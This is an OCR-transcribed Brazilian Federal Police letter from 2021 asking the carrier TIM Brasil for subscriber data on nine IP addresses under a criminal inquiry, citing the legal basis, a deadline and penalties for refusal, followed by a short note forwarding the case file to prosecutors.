Endereço: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasília/DF 


Ofício nº 1705300/2021 - GRCC/DRCOR/SR/PF/DF 
Brasília/DF, 20 de abril de 2021. 


A Sua Senhoria o(a) Senhor(a) 

Diretor(a) da Empresa TIM BRASIL 

Av. Alexandre Gusmão, 29, Bloco €C, Vila Omero Tom 
Santo Andre/SP - CEP. 09.015-970 


Assunto: Informações (solicita) 
Referência: 2020.0043 195-SR/PF/DF (favor mencionar na resposta) 


Senhor(a) Diretor(a), 


1- Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do Inquérito Policial em epígrafe, REQUISITAR a 
Vossa Senhoria informações sobre os dados cadastrais de usuário, conforme esclarecimentos que seguem. 


2- Por óbvio, e ainda mais ante a expressa previsão legal, o acesso aos dados cadastrais não estão agasalhados pelo inciso X, do 
artigo 5º, da Constituição Federal, de modo que não se contrapõe ao princípio da inviolabilidade da intimidade a permissibilidade de 
acesso a essas informações sem prévia autorização judicial. 


3- Aliás, como reconhecido pelo próprio legislador pátrio, com a inserção do Art. 17-B, na Lei 9.613/98 (" Art. 17-B. A autoridade 
policial e o Ministério Público terão acesso, exclusivamente, aos dados cadastrais do investigado que informam qualificação 
pessoal, filiação e endereço, independentemente de autorização judicial, mantidos pela Justiça Eleitoral, pelas empresas 
telefônicas, pelas instituições financeiras, pelos provedores de internet e pelas administradoras de cartão de crédito") e, 
posteriormente, com o Art. 2º, 82º, da Lei 12.830/2013 ("8 20 Durante a investigação criminal, cabe ao delegado de polícia a 
requisição de perícia, informações, documentos e dados que interessem à apuração dos fatos") e art. 15, da Lei 12.850/2013 (" Art. 
15. O delegado de polícia e o Ministério Público terão acesso, independentemente de autorização judicial, apenas aos dados 
cadastrais do investigado que informem exclusivamente a qualificação pessoal, a filiação e o endereço mantidos pela Justiça 
Eleitoral, empresas telefônicas, instituições financeiras, provedores de internet e administradoras de cartão de crédito"), a 
Autoridade Policial pode REQUISITAR dados cadastrais de investigados, ou seja: qualificação pessoal, documentos e endereço, 
INDEPENDENTEMENTE DE AUTORIZAÇÃO JUDICIAL, mantidos pelas empresas provedoras de serviços na internet. 


DA REQUISIÇÃO 
4- Sendo assim, REQUISITO os dados cadastrais dos usuarios dos IPs: 


189.40.75.154, em 18/04/2018, as 18:56:14 
191.51.34.72, em 18/04/2018, as 19:02:05 
189..40.75.239, em 18/04/2018 20:45:41 
177.219.117.183, em 18/04/2018, as 20:56:20 
189..40.72.247, 18/04/2018, as 22:21:17 
189.40.72.14, em 18/04/2018 22:23:14 
189.40.91.135, em 18/04/2018, as 22:29:37 
189.40.90.239, em 19/04/2018, as 01:13:32 
189.40.90.253, em 19/04/2018, as 04:08:37 


Devendo a indicação dos IPs acima ser acrescida das informações de porta lógica enviadas pelo TSE, conforme item 1 
supra (cópia anexa). 


DO PRAZO PARA ATENDIMENTO 


5- Assinalo o PRAZO de 10 (dez) dias para o atendimento, do recebimento. 


DA FORMA DE ATENDIMENTO 


6- Visando a possibilitar o atendimento em tempo hábil, informo que a resposta deverá ser encaminhada para o endereço eletrônico 
<grec.dreor.srdf(wypf.gov.br>, devendo o original também ser encaminhado fisicamente ao signatário, no Grupo de Repressão a 
Crimes Cibernéticos (GRCC) da Superintendência Regional da Polícia Federal em Brasília/DF, endereço descrito no cabeçalho do 
presente ofício. 


DAS COMINAÇÕES LEGAIS EM CASO DE NÃO ATENDIMENTO 


7- Registro, por oportuno, que o não atendimento injustificado no prazo implicará na caracterização da prática do crime de 
desobediência e/ou de sonegação de documento, sujeitando os responsáveis pela recusa indevida, às penas do artigo 21 da Lei 
12.850/2013 (Art. 21 - Recusar ou omitir dados cadastrais, registros, documentos e informações requisitadas pelo juiz, Ministério 
Público ou Delegado de Polícia, no curso de investigação ou do processo: Pena - reclusão, de 6 (seis) meses a 2 (dois) anos, e 
multa). 


8 - Ressalto, por fim, que a divulgação do conteúdo desta requisição ao proprietário da conta ou a terceiros poderá caracterizar o 
crime previsto no parágrafo único do art. 21, da Lei 12.850/2013: "Na mesma pena incorre quem, de forma indevida, se apossa, 
propala, divulga ou faz uso dos dados cadastrais de que trata esta Lei" e/ou o crime previsto no art. 153, 8 lo-A, do Código Penal: 
"Divulgar, sem justa causa, informações sigilosas ou reservadas, assim definidas em lei, contidas ou não nos sistemas de 
informações ou banco de dados da Administração Pública: Pena — detenção, de 1 (um) a 4 (quatro) anos, e multa." 


Atenciosamente, 


VICTOR NEVES FEITOSA CAMPOS 
Delegado de Polícia Federal 
Matrícula nº 16.179 
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conferida no site https://servicos dpf.gov br/assinatura/app/assinatura, informando o seguinte código verificador: 
9652b02a2d2ac835b3322979bc3ac4269e3bc5c8 









POLÍCIA FEDERAL 
TERMO DE REMESSA 


Faço a remessa dos autos com solicitação de dilação de prazo ao Ministério Público 
Federal. 
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Encaminho os autos do Inquérito Policial nº 2020.0043195, solicitando dilação de 
prazo para a continuidade das investigações. 


VICTOR NEVES FEITOSA CAMPOS 
Delegado de Polícia Federal 


Classe Especial - Matrícula nº 16.179 
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